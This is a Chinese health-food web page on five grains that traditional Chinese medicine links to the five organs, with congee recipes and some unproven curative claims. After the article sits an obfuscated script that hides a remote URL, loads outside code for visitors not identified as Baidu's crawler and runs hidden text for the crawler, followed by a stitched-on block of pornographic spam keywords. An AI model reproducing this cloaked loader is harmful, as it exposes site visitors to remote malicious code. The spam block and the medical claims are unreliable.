當前位置:首頁 > 飲食 > 食物營養 > 正文

小麥心小米養脾 滋養五臟的五谷雜糧

2015-12-22 13:31:28  來源:360常識網   熱度:
導語:人類飲食,每天都在與五谷雜糧打交道,不僅為了裹腹,還需要吸收其中的營養來維持身體運作,更重要的是,吃對五谷更對五臟起到養生保健的功效。中醫揭示,五谷補五臟,美味更養生。

小麥心小米養脾 滋養五臟的五谷雜糧

小麥心小米養脾 滋養五臟的五谷雜糧

俗話有說:“人可一日無肉,不可一日五谷。”黑米、大米、小麥等五谷雜糧,不僅可以讓你裹腹,更是可以幫你滋養五臟。五谷補五臟,挑對五谷雜糧,就可以把五谷食物變成你的黃金補品。

人類飲食,每天都在與五谷雜糧打交道,不僅為了裹腹,還需要吸收其中的營養來維持身體運作,更重要的是,吃對五谷更對五臟起到養生保健的功效。中醫揭示,五谷補五臟,美味更養生。

在中醫的觀點中,五谷所入的五臟不同,各有側重。所以在飲食上,也各有側重。

小麥重養心

小麥被稱為“五谷之貴”,中醫認為它能養心安神、除煩去燥,對消除女性更年期綜合征、盜汗以及煩躁情緒有食療作用。

做法:取帶皮的全小麥熬粥,每天早中晚服用。

【推薦食譜】

小麥紅棗粥

原料:小麥100克,大棗10枚,糯米100克,飴糖(麥芽糖)100克。

做法:小麥、大棗、糯米加水煮2小時,放入飴糖即可。

小米重養脾

小米是五谷之首,具有健脾和胃的作用,特別適合脾胃虛弱的人食用,是進補的“上品”。煮小米粥時,待到粥熟后稍稍冷卻沉淀,可以看到粥的最上層浮有一層細膩的粘稠物,也就是粥油。粥油具有保護胃粘膜、補益脾胃的功效,適合慢性胃炎胃潰瘍患者食用。煮小米粥時,新米的補益效果比陳米好。

做法:熬一鍋小米粥,用湯匙撇出小米粥上層的精華米油,空腹喝下,有很好的養脾胃的療效,每天早晚均可服用。

【推薦食譜】

小米南瓜粥

食材:小米100g、南瓜300g

做法:

1、南瓜去皮切塊,小米洗凈后用清水浸泡20分鐘;

2、準備半瓶開水,倒入電飯鍋中,下小米煮30分鐘;煮小米時,用攪拌機將南瓜打成泥;

3、30分鐘后,加入南瓜同煮,繼續煮15分鐘左右即可,中間要時時攪一攪,避免粘鍋。

黑豆重養腎

豆類中的黑豆被稱為“腎之谷”,中醫認為它能補腎強身、解毒、潤膚,特別適合腎虛的人食用,對腎虛、浮腫有較好的改善作用。

做法:泡發后打制成豆漿,或煮黑豆粥,每天早晚各一次。

【推薦食譜】

黑豆枸杞粥

材料:黑豆100克、枸杞子3~5克、紅棗5~10個、料酒、姜汁、食鹽各適量。

做法:上述配料加水適量,用急火煮沸后,改用文火熬至黑豆爛熟,即可取湯飲用,每日早、晚飲用,每次2~3杯為宜,可長期飲用。

大米重潤肺

大米,入脾、胃、肺經,具有補中益氣、健脾和胃、滋陰潤肺、除煩渴的作用。古代的養生家倡導“晨起食粥”以生津液,因此,因肺陰虧虛所致的咳嗽、便秘患者可早晚喝些大米粥。

同時,常喝大米粥有助于津液的生發,可在一定程度上緩解皮膚干燥等不適。

做法:用小火熬制大米粥,直至米湯濃稠,只喝米湯不吃米粒,隨時可服用。

【推薦食譜】

核桃枸杞大米粥

材料:大米80克(1/2杯)、核桃10克、枸杞2克

做法:

1、鍋內放約1000ml水,大火燒至水似開非開。

2、大米用清水沖洗干凈,放入鍋中,加入一點食用油和食鹽。

3、大火煮開,轉中小火熬制約20分鐘。

4、核桃用刀切成小碎塊,放入鍋中,煮約10分鐘至鍋開。

5、枸杞用清水洗凈。

6、將洗凈的枸杞放入鍋中,繼續煮約10分鐘。

7、煮粥的期間要間隔一段時間,就用小勺把粥攪拌一下。

8、直到將粥煮熟,至湯汁剩下一半濃稠為止。

高粱重養肝

高粱屬于雜糧,但卻是五谷里不可缺的配角。高粱具有養肝益胃、收斂止瀉的功效,尤其是患有慢性腹瀉的人,持續吃一段時間后,會有良好的功效。

做法:把高粱米加工成面粉后炒熟,用開水調成稀糊,每天早晚飯前服用。

【推薦食譜】

山楂高粱米粥

山楂干20克,高粱米50克

1、山楂干用水洗凈,浸泡10分鐘。

2、高粱米,洗凈備用。

3、鍋中加入適量水,放入泡好的山楂干。

4、煮開后,放入高粱米開始煮。

5、大火煮15分鐘,換小火接著煮。

6、大約煮20分鐘,把高粱米煮軟即可食用。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品无人区麻豆乱码无限制| 久久久99精品成人片| 国产乱码精品一区二区三| 在线精品国精品国产不卡| 亚洲首页国产精品丝袜| 亚洲精品福利在线观看| 98精品全国免费观看视频| 久久这里只有精品首页| 亚洲精品国产字幕久久不卡| 久久久亚洲精品蜜桃臀| 亚洲精品成人a在线观看| 国产精品亚洲а∨无码播放麻豆| 亚洲av日韩精品久久久久久a| 亚洲精品美女网站| 2021国产成人午夜精品| 久久精品国产免费观看三人同眠| 久久精品久久久久观看99水蜜桃| 久久国产精品一国产精品| 嫩草影院久久国产精品| 久久国产精品99精品国产987| 久久99国产精品99久久| 久久精品国产大片免费观看| 国产在线精品网址你懂的| 国产自偷亚洲精品页65页 | 国产亚洲精品资源在线26u| 中文精品久久久久人妻不卡| 亚洲精品无码鲁网中文电影| 亚洲精品成人无限看| 久久亚洲精品AB无码播放| 亚洲国产精品国自产拍电影| 久久国产精品99精品国产| 91精品婷婷国产综合久久| 无码人妻精品一区二区三区蜜桃| 精品久久久无码人妻中文字幕豆芽 | 窝窝午夜看片成人精品| 无码人妻精品一区二区三区久久久| 久久精品免费一区二区喷潮| 国产精品午夜无码体验区| 国产成人精品久久亚洲| 亚洲精品乱码久久久久久久久久久久| 四虎影视永久在线观看精品|